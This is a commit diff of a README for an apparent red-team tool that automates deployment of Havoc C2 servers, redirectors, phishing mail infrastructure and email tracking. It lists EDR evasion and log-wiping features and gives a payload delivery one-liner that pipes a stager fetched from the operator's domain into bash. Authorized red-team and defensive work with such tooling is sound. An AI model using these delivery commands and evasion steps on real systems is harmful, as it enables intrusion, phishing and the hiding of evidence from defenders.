n0mad1k/CoM-c2itall
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Updated README

Browse Source
This commit is contained in:
n0mad1k
2025-05-12 12:03:28 -04:00
parent c816a74730
commit e1666a0124
1 changed files with 107 additions and 119 deletions
Download Patch File Download Diff File Expand all files Collapse all files
README.md
+105 -117
View File
@@ -4,105 +4,139 @@ A comprehensive automated deployment system for Havoc C2 red team infrastructure
## Overview
C2ingRed enables rapid deployment of fully configured Command and Control (C2) infrastructure with advanced security features. The tool uses Infrastructure as Code principles to set up Havoc C2 servers and redirectors with security hardening, EDR evasion capabilities, and operational security features in mind.
C2ingRed enables rapid deployment of complete Command and Control (C2) infrastructure with advanced security hardening, EDR evasion capabilities, and operational security features. Built for professional red team operators, this tool uses Infrastructure as Code principles to efficiently set up Havoc C2 servers, redirectors, and additional components.
## Features
- **Fully Automated Deployment**: Deploy complete C2 infrastructure with a single command
- **Multi-provider Support**: AWS, Linode, and FlokiNET support
- **Havoc C2 Framework**: Pre-configured with the latest Havoc C2 (dev branch)
- **Security Hardening**: OPSEC-focused configurations, zero-logging, and secure memory handling
- **Redirector Support**: Separate frontend redirectors to obscure C2 traffic
- **EDR Evasion**: Pre-configured techniques for bypassing EDR solutions
- **Email Infrastructure**: Integrated mail server with DKIM/DMARC for phishing operations
- **Email Tracking**: Optional integrated email tracking server
- **Shell Handler**: Automatic reverse shell handling and payload delivery
- **Port Randomization**: Configurable port randomization for OPSEC considerations
- **Interactive Mode**: Wizard-style deployment for beginners
- **Multi-provider Support**: AWS, Linode, and FlokiNET
- **Infrastructure Components**:
- C2 server with Havoc C2 Framework (dev branch)
- HTTPS redirectors with security hardening
- Email infrastructure with DKIM/DMARC for phishing
- Email tracking capabilities
- Automated payload generation and delivery
- **Security Features**:
- Zero-logging configuration to minimize evidence
- Memory protection mechanisms
- Command history suppression
- Secure exfiltration tunnels
- Strong firewall configurations
- Fail2Ban and other defensive measures
- **EDR Evasion**:
- Sleep masking
- Stack spoofing
- AMSI/ETW patching
- Indirect syscalls
- Binary signature randomization
- **Operational Capabilities**:
- Automated post-exploitation payload building
- Reverse shell handler with automatic agent deployment
- Let's Encrypt SSL certificate automation
- Payload synchronization between C2 and redirectors
- Port randomization for OPSEC
## Requirements
- Python 3.6+
- Ansible 2.9+
- Provider-specific CLI tools:
- AWS: `awscli`
- Linode: `linode-cli`
- Provider-specific credentials:
- AWS: Access and secret keys
- Linode: API token
- FlokiNET: Pre-provisioned servers
- SSH keypair for server access
- Registered domain (required for Let's Encrypt certificates)
## Installation
1. Clone the repository:
```bash
# Clone the repository
git clone https://github.com/yourusername/C2ingRed.git
cd C2ingRed
```
2. Install requirements:
```bash
# Install requirements
pip install -r requirements.txt
# Ensure Ansible is installed
ansible --version
```
3. Configure your provider credentials:
- AWS: Configure using `aws configure` or provide credentials via arguments
- Linode: Set up an API token in your Linode account
## Usage
## Deployment
### Main Menu (Easiest Method)
Simply run:
```bash
python3 deploy.py
```
This launches the interactive main menu for deployment, providing the most user-friendly experience with guided options for all infrastructure types.
### Interactive Mode
The easiest way to deploy is using interactive mode:
Alternatively, you can use:
```bash
./deploy.py --interactive
```
This will guide you through the deployment process step by step.
This guides you through the deployment process with step-by-step instructions.
### Command-line Deployment
For Linode deployment:
#### AWS Deployment:
```bash
./deploy.py --provider linode --linode-token YOUR_TOKEN --domain your-domain.com --linode-region us-east
./deploy.py --provider aws --aws-key YOUR_KEY --aws-secret YOUR_SECRET \
--domain your-domain.com --aws-region us-east-1
```
For AWS deployment:
#### Linode Deployment:
```bash
./deploy.py --provider aws --aws-key YOUR_KEY --aws-secret YOUR_SECRET --domain your-domain.com --aws-region us-east-1
./deploy.py --provider linode --linode-token YOUR_TOKEN \
--domain your-domain.com --linode-region us-east
```
For FlokiNET deployment (with pre-provisioned servers):
#### FlokiNET Deployment (with pre-provisioned servers):
```bash
./deploy.py --provider flokinet --flokinet-redirector-ip YOUR_REDIRECTOR_IP --flokinet-c2-ip YOUR_C2_IP --domain your-domain.com
./deploy.py --provider flokinet --flokinet-redirector-ip YOUR_REDIRECTOR_IP \
--flokinet-c2-ip YOUR_C2_IP --domain your-domain.com
```
### Additional Options
### Deployment Options
- `--redirector-only`: Deploy only the redirector
- `--c2-only`: Deploy only the C2 server
- `--deploy-tracker`: Deploy phishing email tracking server
- `--teardown`: Clean up existing infrastructure
- `--disable-history`: Disable command history on servers
- `--secure-memory`: Enable secure memory settings
- `--zero-logs`: Enable zero-logs configuration
- `--ssh-after-deploy`: SSH into the instance after deployment
| Option | Description |
|--------|-------------|
| `--redirector-only` | Deploy only the redirector component |
| `--c2-only` | Deploy only the C2 server component |
| `--deploy-tracker` | Deploy email tracking server |
| `--integrated-tracker` | Setup tracker on C2 server instead of separate instance |
| `--disable-history` | Disable command history on servers |
| `--secure-memory` | Enable secure memory protection features |
| `--zero-logs` | Configure zero-logging throughout infrastructure |
| `--randomize-ports` | Use randomized ports for C2 communications |
| `--ssh-after-deploy` | Automatically SSH into the server after deployment |
## Post-Deployment
## Post-Deployment Steps
After deployment:
After successful deployment:
1. Configure DNS records for your domain:
- Set A record for `your-domain.com` pointing to your C2 server
- Set A record for `cdn.your-domain.com` (or your configured subdomain) pointing to your redirector
- Set A record for `mail.your-domain.com` pointing to your C2 server
- `your-domain.com` → C2 server
- `mail.your-domain.com` → C2 server
- `cdn.your-domain.com` → Redirector (or your custom subdomain)
- `track.your-domain.com` → Tracker (if deployed)
2. Run the post-install script on your C2 server:
2. Run post-install scripts on each server:
```bash
# On C2 server
/root/Tools/post_install_c2.sh
# On redirector
/root/Tools/post_install_redirector.sh
```
3. Run the post-install script on your redirector:
3. Generate Havoc C2 payloads:
```bash
/root/Tools/post_install_redirector.sh
# On C2 server
/root/Tools/generate_havoc_payloads.sh
```
## Using Havoc C2
@@ -113,31 +147,21 @@ Havoc C2 Framework is installed at `/root/Tools/Havoc` on the C2 server.
From your local machine:
1. Install the Havoc client (dev branch):
```bash
git clone -b dev https://github.com/HavocFramework/Havoc.git
cd Havoc/Client
mkdir build && cd build
cmake -GNinja ..
ninja
```
2. Connect to the Teamserver:
```bash
./havoc client --address YOUR_C2_IP:40056 --username admin --password [password]
```
(The password is stored in `/root/Tools/Havoc/data/profiles/default.yaotl`)
### Generating Payloads
Pre-generated payloads are available in `/root/Tools/Havoc/payloads/`. You can create new payloads using:
```bash
cd /root/Tools
./generate_havoc_payloads.sh
# Install Havoc client (development branch)
git clone -b dev https://github.com/HavocFramework/Havoc.git
cd Havoc/Client
mkdir build && cd build
cmake -GNinja ..
ninja
# Connect to Teamserver
./havoc client --address YOUR_C2_IP:40056 --username admin --password [password]
```
### Delivery Commands
The password is stored in `/root/Tools/Havoc/data/profiles/default.yaotl` on the C2 server.
### Payload Delivery
PowerShell one-liner for Windows targets:
```powershell
@@ -149,60 +173,24 @@ Linux one-liner:
curl -s https://cdn.your-domain.com/linux_stager.sh | bash
```
## Security Features
## Security Considerations
### EDR Evasion
The built-in Havoc payloads include:
- Sleep masking
- Stack spoofing
- AMSI/ETW patching
- Indirect syscalls
- Binary signature randomization
### OPSEC Features
- Zero-logs configuration
- Secure memory handling
- Automatic log cleaning
- Secure exit scripts
## Email Tracking
If deployed with `--deploy-tracker` or `--integrated-tracker`, the C2 server includes an email tracking system accessible at `track.your-domain.com`.
To track email opens, add this HTML to your emails:
```html
<img src="https://cdn.your-domain.com/px/YOUR_TRACKING_ID.png" height="1" width="1" />
```
## Troubleshooting
Common issues:
1. **SSH Connection Failures**:
- Check that port 22 is open on your firewall/security group
- Verify SSH key permissions (should be 600)
2. **DNS Issues**:
- Confirm that your DNS records are properly configured
- Allow time for DNS propagation (up to 24-48 hours for some providers)
3. **C2 Communication Problems**:
- Verify redirector configuration
- Check that all required ports are open
- Review NGINX configuration for proper redirection
- All servers include the `/root/Tools/secure-exit.sh` script to securely wipe operational data
- The `/root/Tools/clean-logs.sh` script automatically runs to remove evidence
- Port randomization enhances OPSEC when enabled
- Set proper DKIM/DMARC records for email operations
- Consider using ephemeral infrastructure for high-risk operations
## Cleaning Up
To remove all infrastructure when done:
To remove all infrastructure when finished:
```bash
./deploy.py --provider PROVIDER --teardown
./deploy.py --provider PROVIDER --teardown --deployment-id YOUR_DEPLOYMENT_ID
```
Add your provider-specific arguments to identify the resources to remove.
Add your provider-specific authentication arguments to remove the correct resources.
## Disclaimer
This tool is intended for authorized red team operations, penetration testing, and security research only. Always obtain proper authorization before conducting security testing.
This tool is intended for authorized red team operations, penetration testing, and security research only. Always obtain proper authorization before conducting security testing. The authors are not responsible for misuse or illegal activities.